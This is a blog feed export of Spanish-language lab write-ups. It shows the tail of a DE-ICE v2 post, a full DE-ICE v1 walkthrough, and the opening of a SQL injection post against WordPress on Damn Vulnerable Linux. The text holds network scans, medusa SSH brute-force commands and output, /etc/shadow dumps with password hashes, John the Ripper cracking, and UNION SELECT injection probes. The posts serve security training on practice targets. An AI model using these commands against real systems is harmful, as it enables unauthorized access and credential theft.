magwitch:$1$qG7/dIbT$HtTD946DE3ITkbrCINQvJ0:13882:0:99999:7:::&lt;br /&gt;
havisham:$1$qbY1hmdT$sVZn89wKvmLn0wP2JnZay1:13882:0:99999:7:::&lt;/blockquote&gt;
Después:&lt;br /&gt;
&lt;blockquote style=&quot;background-color: #cccccc; color: black;&quot;&gt;
bin:*:9797:0:::::&lt;br /&gt;
daemon:*:9797:0:::::&lt;br /&gt;
adm:*:9797:0:::::&lt;br /&gt;
lp:*:9797:0:::::&lt;br /&gt;
sync:*:9797:0:::::&lt;br /&gt;
shutdown:*:9797:0:::::&lt;br /&gt;
halt:*:9797:0:::::&lt;br /&gt;
mail:*:9797:0:::::&lt;br /&gt;
news:*:9797:0:::::&lt;br /&gt;
uucp:*:9797:0:::::&lt;br /&gt;
operator:*:9797:0:::::&lt;br /&gt;
games:*:9797:0:::::&lt;br /&gt;
ftp:*:9797:0:::::&lt;br /&gt;
smmsp:*:9797:0:::::&lt;br /&gt;
mysql:*:9797:0:::::&lt;br /&gt;
rpc:*:9797:0:::::&lt;br /&gt;
sshd:*:9797:0:::::&lt;br /&gt;
gdm:*:9797:0:::::&lt;br /&gt;
pop:*:9797:0:::::&lt;br /&gt;
nobody:*:9797:0:::::&lt;br /&gt;
root:$1$KEj04HbT$ZTn.iEtQHcLQc6MjrG/Ig/:13882:0:99999:7:::&lt;br /&gt;
magwitch:$1$qG7/dIbT$HtTD946DE3ITkbrCINQvJ0:13882:0:99999:7:::&lt;br /&gt;
havisham:$1$qbY1hmdT$sVZn89wKvmLn0wP2JnZay1:13882:0:99999:7:::&lt;/blockquote&gt;
Guardamos, y tratamos de entrar como superadministrador. Recordemos la clave: 0l1v3rTw1st.&lt;br /&gt;
&lt;b&gt;Aclaración: &lt;/b&gt;Esto fué posible debido a que el usuario pirrip corre bajo permisos Wheel. &lt;br /&gt;
&lt;blockquote style=&quot;color: black;&quot;&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
pirrip@slax:~$ su&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc;&quot;&gt;
Password: ***********&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
root@slax:/home/pirrip# &lt;b&gt;whoami&lt;br /&gt;
&lt;span style=&quot;background-color: #cccccc;&quot;&gt;root&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
root@slax:/home/pirrip# &lt;/div&gt;
&lt;/blockquote&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;GAME OVER!&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Dedicación:&lt;/b&gt; 11Sep, [T]rasher, Batista, Exploit-Shell, en fin, &lt;b&gt;&lt;span style=&quot;text-decoration: underline;&quot;&gt;a todo OverSec!&lt;/span&gt;&lt;/b&gt;</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/7139984749321522152/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/06/relato-entorno-de-seguridad-de-ice-v2.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/7139984749321522152'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/7139984749321522152'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/06/relato-entorno-de-seguridad-de-ice-v2.html' title='[Relato] Entorno de seguridad DE-Ice v2'/><author><name>Yo-Mismo</name><uri>http://www.blogger.com/profile/16808768813534764737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-3460668207045477998</id><published>2012-06-05T06:35:00.000-07:00</published><updated>2012-06-11T02:38:45.826-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="1.100"/><category scheme="http://www.blogger.com/atom/ns#" term="Análisis"/><category scheme="http://www.blogger.com/atom/ns#" term="Backtrack"/><category scheme="http://www.blogger.com/atom/ns#" term="bruteforce"/><category scheme="http://www.blogger.com/atom/ns#" term="De-ICE"/><category scheme="http://www.blogger.com/atom/ns#" term="diccionario"/><category scheme="http://www.blogger.com/atom/ns#" term="Escaneo"/><category scheme="http://www.blogger.com/atom/ns#" term="exploit"/><category scheme="http://www.blogger.com/atom/ns#" term="heorot"/><category scheme="http://www.blogger.com/atom/ns#" term="instalación"/><category scheme="http://www.blogger.com/atom/ns#" term="Instalación del entorno"/><category scheme="http://www.blogger.com/atom/ns#" term="instalar"/><category scheme="http://www.blogger.com/atom/ns#" term="ISO"/><category scheme="http://www.blogger.com/atom/ns#" term="Mapeo de red"/><category scheme="http://www.blogger.com/atom/ns#" term="metasploit"/><category scheme="http://www.blogger.com/atom/ns#" term="máquinas virtuales"/><category scheme="http://www.blogger.com/atom/ns#" term="nessus"/><category scheme="http://www.blogger.com/atom/ns#" term="nmap"/><category scheme="http://www.blogger.com/atom/ns#" term="Root"/><category scheme="http://www.blogger.com/atom/ns#" term="servidor"/><title type='text'>[Relato] Entorno de seguridad DE-Ice v1</title><content type='html'>&lt;br /&gt;
Esta vez vengo con DE-Ice v1.0.&lt;br /&gt;
Las distribuciónes de seguridad pueden ser descargadas desde Heorot.net.&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;br /&gt;
¿Qué necesitaremos?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
-Dos máquinas virtuales&lt;br /&gt;
-De-ICE v1&lt;br /&gt;
-Backtrack 5&lt;br /&gt;
-Diccionario de claves comunes inglesas&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;¿Cuáles serán nuestros objetivos?&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
-Mapeo de red&lt;br /&gt;
-Análisis de red&lt;br /&gt;
-Fuerza bruta a servicio&lt;br /&gt;
-Fuerza bruta a shadow&lt;br /&gt;
-Root&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;¿Reglas?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
-No Exploit&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;Allá que vamos&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
Escaneamos las redes para localizar a nuestra presa.&lt;br /&gt;
&lt;blockquote style=&quot;background-color: #cccccc; color: black;&quot;&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
netdiscover&lt;/div&gt;
Currently scanning: 192.168.1.0/16   |   Screen View: ARP Reply                                                                                                       &lt;br /&gt;
&lt;br /&gt;
1 Captured ARP Reply packets, from 1 hosts.   Total size: 60                                                                                                          &lt;br /&gt;
_____________________________________________________________________________                                                                                         &lt;br /&gt;
IP            At MAC Address      Count  Len   MAC Vendor                                                                                                           &lt;br /&gt;
----------------------------------------------------------------------------- &lt;br /&gt;
192.168.1.100   08:00:27:b1:50:12    01    060   CADMUS COMPUTER SYSTEMS &lt;/blockquote&gt;
Identificamos servicvios con NMAP:&lt;br /&gt;
&lt;blockquote style=&quot;background-color: #cccccc; color: black;&quot;&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
root@bt:/# nmap -sV 192.168.1.100&lt;/div&gt;
Starting Nmap 5.59BETA1 ( &lt;a href=&quot;http://nmap.org/&quot;&gt;http://nmap.org&lt;/a&gt; ) at 2012-02-02 22:07 CET&lt;br /&gt;
Nmap scan report for 192.168.1.100&lt;br /&gt;
Host is up (0.0070s latency).&lt;br /&gt;
Not shown: 992 filtered ports&lt;br /&gt;
PORT    STATE  SERVICE  VERSION&lt;br /&gt;
20/tcp  closed ftp-data&lt;br /&gt;
21/tcp  open   ftp      vsftpd (broken: could not bind listening IPv4 socket)&lt;br /&gt;
22/tcp  open   ssh      OpenSSH 4.3 (protocol 1.99)&lt;br /&gt;
25/tcp  open   smtp     Sendmail 8.13.7/8.13.7&lt;br /&gt;
80/tcp  open   http     Apache httpd 2.0.55 ((Unix) PHP/5.1.2)&lt;br /&gt;
110/tcp open   pop3     Openwall popa3d&lt;br /&gt;
143/tcp open   imap     UW imapd 2004.357&lt;br /&gt;
443/tcp closed https&lt;br /&gt;
MAC Address: 08:00:27:B1:50:12 (Cadmus Computer Systems)&lt;br /&gt;
Service Info: Host: slax.example.net; OS: Unix&lt;br /&gt;
Service detection performed. Please report any incorrect results at &lt;a href=&quot;http://nmap.org/submit/&quot;&gt;http://nmap.org/submit/&lt;/a&gt; .&lt;br /&gt;
Nmap done: 1 IP address (1 host up) scanned in 25.29 seconds&lt;/blockquote&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;Dejando huella&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
Vemos que tenemnos varios servicios, excepto uno: FTP. No nos permite conexiones IPv4.&lt;br /&gt;
Entramos via HTTP, y nos fijamos que la página nos muestra unos correos. Alteremoslos.&lt;br /&gt;
Esto fué lo que obtuve:&lt;br /&gt;
&lt;blockquote style=&quot;color: black;&quot;&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
addams&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
aadams&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
adaams&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
damsaa&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
adamsa&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
banterb&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
bbanter&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
banterb&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
anterbb&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
bbanteerbb&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
coffeec&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
cooffec&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
ccoffee&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
coooffe&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
cooofef&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
coofefc&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
cooffee&lt;/div&gt;
&lt;/blockquote&gt;
Lanzamos medusa tratando de tener suerte.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background-color: yellow; color: black;&quot;&gt;
medusa -h 192.168.1.100 -U user -P user -M ssh&lt;/div&gt;
&lt;br /&gt;
¡Bingo! Nos encuentra un usuario. Mismo usuario y clave.&lt;br /&gt;
&lt;blockquote style=&quot;background-color: #cccccc;&quot;&gt;
&lt;div style=&quot;color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: adaams (3 of 17 complete)&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: damsaa (4 of 17 complete)&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: adamsa (5 of 17 complete)&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: banterb (6 of 17 complete)&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: bbanter (7 of 16, 6 complete) Password: bbanter (7 of 17 complete)&lt;/div&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;ACCOUNT FOUND: [ssh] Host: 192.168.1.100 User: bbanter Password: bbanter [SUCCESS]&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: addams (1 of 17 complete)&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: aadams (2 of 17 complete)&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: adaams (3 of 17 complete)&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: damsaa (4 of 17 complete)&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: anterbb (8 of 16, 7 complete) Password: adamsa (5 of 17 complete)&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;Decepción&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
Accedo vía SSH:root@bt:/pentest/passwords/john# ssh bbanter@192.168.1.100&lt;br /&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
bbanter@192.168.1.100&#39;s password: &lt;/blockquote&gt;
Pero si tratamos de hacer un cat /etc/shadow, como es lógico, nos dirá que nuestro siguiente comando es:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
exit&lt;/div&gt;
&lt;br /&gt;
Si antes leemos el /etc/passwd, veremos que el usuario aadams se las trae con otros permisos.&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;Pidiendo auxilio a la medusa&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
Intentemos con otro diccionario:&lt;br /&gt;
&lt;blockquote&gt;
&lt;blockquote style=&quot;background-color: yellow;&quot;&gt;
&lt;div style=&quot;color: black;&quot;&gt;
root@bt:/pentest/passwords/john# medusa -h 192.168.1.100 -U user -P list.lst -M ssh&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: fuckyou (578 of 675 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: matthew (579 of 675 complete)&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: miller (560 of 675 complete)&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: ou82 (561 of 675 complete)&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc;&quot;&gt;
ACCOUNT FOUND: [ssh] Host: 192.168.1.100 &lt;u&gt;&lt;i&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;User: aadams Password: nostradamus&lt;/b&gt;&lt;/span&gt;&lt;/i&gt;&lt;/u&gt; [&lt;b style=&quot;color: blue;&quot;&gt;SUCCESS&lt;/b&gt;]&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: tiger (562 of 675 complete)&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: trustno1 (563 of 675 complete)&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: 12345678 (564 of 675 complete)&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: alex (565 of 675 complete)&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: windows (566 of 675 complete)&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: aadams (7 of 16, 6 complete) Password: flipper (567 of 675 complete)&lt;/div&gt;
&lt;/blockquote&gt;
Nos muestra el usuario aadams, con su consiguiente clave.&lt;br /&gt;
Entramos via SSH, y obtenemos el fichero. &lt;br /&gt;
&lt;span style=&quot;color: orange;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;blockquote&gt;
&lt;span style=&quot;color: orange;&quot;&gt;&lt;b&gt;Root Success&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;blockquote style=&quot;background-color: yellow;&quot;&gt;
&lt;div style=&quot;color: black;&quot;&gt;
root@bt:/pentest/passwords/john# ssh aadams@192.168.1.100&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
aadams@192.168.1.100&#39;s password: &lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
Linux 2.6.16.&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
aadams@slax:~$ sudo cat /etc/shadow&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
Password:&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc;&quot;&gt;
&lt;span style=&quot;color: green;&quot;&gt;&lt;b&gt;root:$1$TOi0HE5n$j3obHaAlUdMbHQnJ4Y5Dq0:13553:0:::::&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
bin:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
daemon:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
adm:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
lp:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
sync:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
shutdown:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
halt:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
mail:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
news:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
uucp:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
operator:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
games:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
ftp:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
smmsp:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
mysql:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
rpc:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
sshd:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
gdm:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
pop:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc; color: black;&quot;&gt;
nobody:*:9797:0:::::&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;aadams:$1$6cP/ya8m$2CNF8mE.ONyQipxlwjp8P1:13550:0:99999:7:::&lt;br /&gt;
bbanter:$1$hl312g8m$Cf9v9OoRN062STzYiWDTh1:13550:0:99999:7:::&lt;br /&gt;
ccoffee:$1$nsHnABm3$OHraCR9ro.idCMtEiFPPA.:13550:0:99999:7:::&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
aadams@slax:~$ &lt;/div&gt;
&lt;/blockquote&gt;
Salimos.&lt;br /&gt;
&lt;blockquote style=&quot;color: black;&quot;&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
exit&lt;/div&gt;
&lt;/blockquote&gt;
Crackeamos.&lt;br /&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
root@bt:/pentest/passwords/john# ./john --rules --wordlist=list.lst shadow&lt;/blockquote&gt;
El resultado se lo dejo a su imaginación, para no estropear el reto, regalando la clave.&lt;br /&gt;
Resultado final:&lt;br /&gt;
&lt;blockquote style=&quot;color: black;&quot;&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
root@bt:/pentest/passwords/john# ssh aadams@192.168.1.100&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc;&quot;&gt;
aadams@192.168.1.100&#39;s password: &lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc;&quot;&gt;
Linux 2.6.16.&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
aadams@slax:~$ su&lt;/div&gt;
&lt;div style=&quot;background-color: #cccccc;&quot;&gt;
Password: *****&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
root@slax:/home/aadams# &lt;b&gt;&lt;span style=&quot;background-color: yellow; color: black;&quot;&gt;whoami&lt;/span&gt;&lt;br style=&quot;background-color: #cccccc;&quot; /&gt;
&lt;span style=&quot;background-color: red;&quot;&gt;&lt;span style=&quot;background-color: #cccccc;&quot;&gt;root&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: yellow;&quot;&gt;
root@slax:/home/aadams# &lt;/div&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;color: white; text-align: right;&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Hasta la próxima.&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b style=&quot;color: lime;&quot;&gt;Dedicación:&lt;/b&gt; OverSec.org, RemoteExecution.info, http://malware-reversing.com.ar, CPH&lt;br /&gt;
&lt;br /&gt;
Saludos&lt;/blockquote&gt;
</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/3460668207045477998/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/06/relato-entorno-de-seguridad-de-ice-v1.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/3460668207045477998'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/3460668207045477998'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/06/relato-entorno-de-seguridad-de-ice-v1.html' title='[Relato] Entorno de seguridad DE-Ice v1'/><author><name>Yo-Mismo</name><uri>http://www.blogger.com/profile/16808768813534764737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-7150463941040286834</id><published>2012-06-05T06:06:00.000-07:00</published><updated>2012-06-11T02:40:13.399-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="base de datos"/><category scheme="http://www.blogger.com/atom/ns#" term="damn vulnerable linux"/><category scheme="http://www.blogger.com/atom/ns#" term="FDP"/><category scheme="http://www.blogger.com/atom/ns#" term="FTP"/><category scheme="http://www.blogger.com/atom/ns#" term="guia"/><category scheme="http://www.blogger.com/atom/ns#" term="hacking web"/><category scheme="http://www.blogger.com/atom/ns#" term="insecure cookie"/><category scheme="http://www.blogger.com/atom/ns#" term="intrusion"/><category scheme="http://www.blogger.com/atom/ns#" term="lfi"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="manual"/><category scheme="http://www.blogger.com/atom/ns#" term="mysql"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="relato"/><category scheme="http://www.blogger.com/atom/ns#" term="shell"/><category scheme="http://www.blogger.com/atom/ns#" term="sql"/><category scheme="http://www.blogger.com/atom/ns#" term="tutorial"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerabilidad"/><category scheme="http://www.blogger.com/atom/ns#" term="webshell"/><category scheme="http://www.blogger.com/atom/ns#" term="xss"/><title type='text'>Explotando Wordpress en Damn Vulnerable Linux 1.5</title><content type='html'>&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;&amp;nbsp;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Requisitos mínimos:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;


&lt;ul&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;Máquina virtual&lt;br /&gt;
&lt;/li&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;512Mb RAM disponibles&lt;br /&gt;
&lt;/li&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;Damn Vulnerable Linux 1.5, Infección contagiosa (Vaya tela de título)&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Conocimientos previos:&lt;/span&gt;&lt;/b&gt;

&lt;ul&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;PHP &amp;amp; SQL&lt;br /&gt;
&lt;/li&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;Injecciones y funcionamiento de tal&lt;/li&gt;
&lt;/ul&gt;
&lt;center&gt;&lt;span style=&quot;color: darkgreen;&quot;&gt;&lt;b&gt;Buscando vulnerabilidad&lt;/b&gt;&lt;/span&gt;

&lt;/center&gt;&lt;br /&gt;&lt;div style=&quot;text-align: left;&quot;&gt;
Buscando entre dicho blog, confirmé que había una vulnerabilidad SQLi en las categorías.&lt;br /&gt;
Esta, como en la mayoría de los casos, es explotable vía Get, cosa que en algunos caso no es así.

&lt;/div&gt;
&lt;center&gt;&lt;span style=&quot;color: darkgreen;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/center&gt;&lt;/center&gt;&lt;center&gt;&lt;center&gt;&lt;span style=&quot;color: darkgreen;&quot;&gt;&lt;b&gt;Comienza el juego&lt;/b&gt;&lt;/span&gt;

&lt;/center&gt;&lt;br /&gt;




&lt;div style=&quot;text-align: left;&quot;&gt;
Lo que hice, fué asignar un número falso, para rechazar la consulta inicial, y poder ejecutar las consultas SQL.&lt;br /&gt;
&lt;pre style=&quot;background-color: #cccccc; color: black;&quot;&gt;?cat = 999999&lt;/pre&gt;
Me respondía &quot;Not Fond&quot;. Esto no significa que deje de ser vulnerable.&lt;br /&gt;
A continuación procedí a identificar el número de columas de dicha tabla, para buscar la columna vulnerable en la que me basé.&lt;br /&gt;
&lt;pre style=&quot;background-color: #cccccc; color: black;&quot;&gt;?cat = 999999 UNION SELECT 1,2&lt;/pre&gt;
&lt;pre style=&quot;background-color: #cccccc; color: black;&quot;&gt;?cat = 999999 UNION SELECT 1,2,3&lt;/pre&gt;
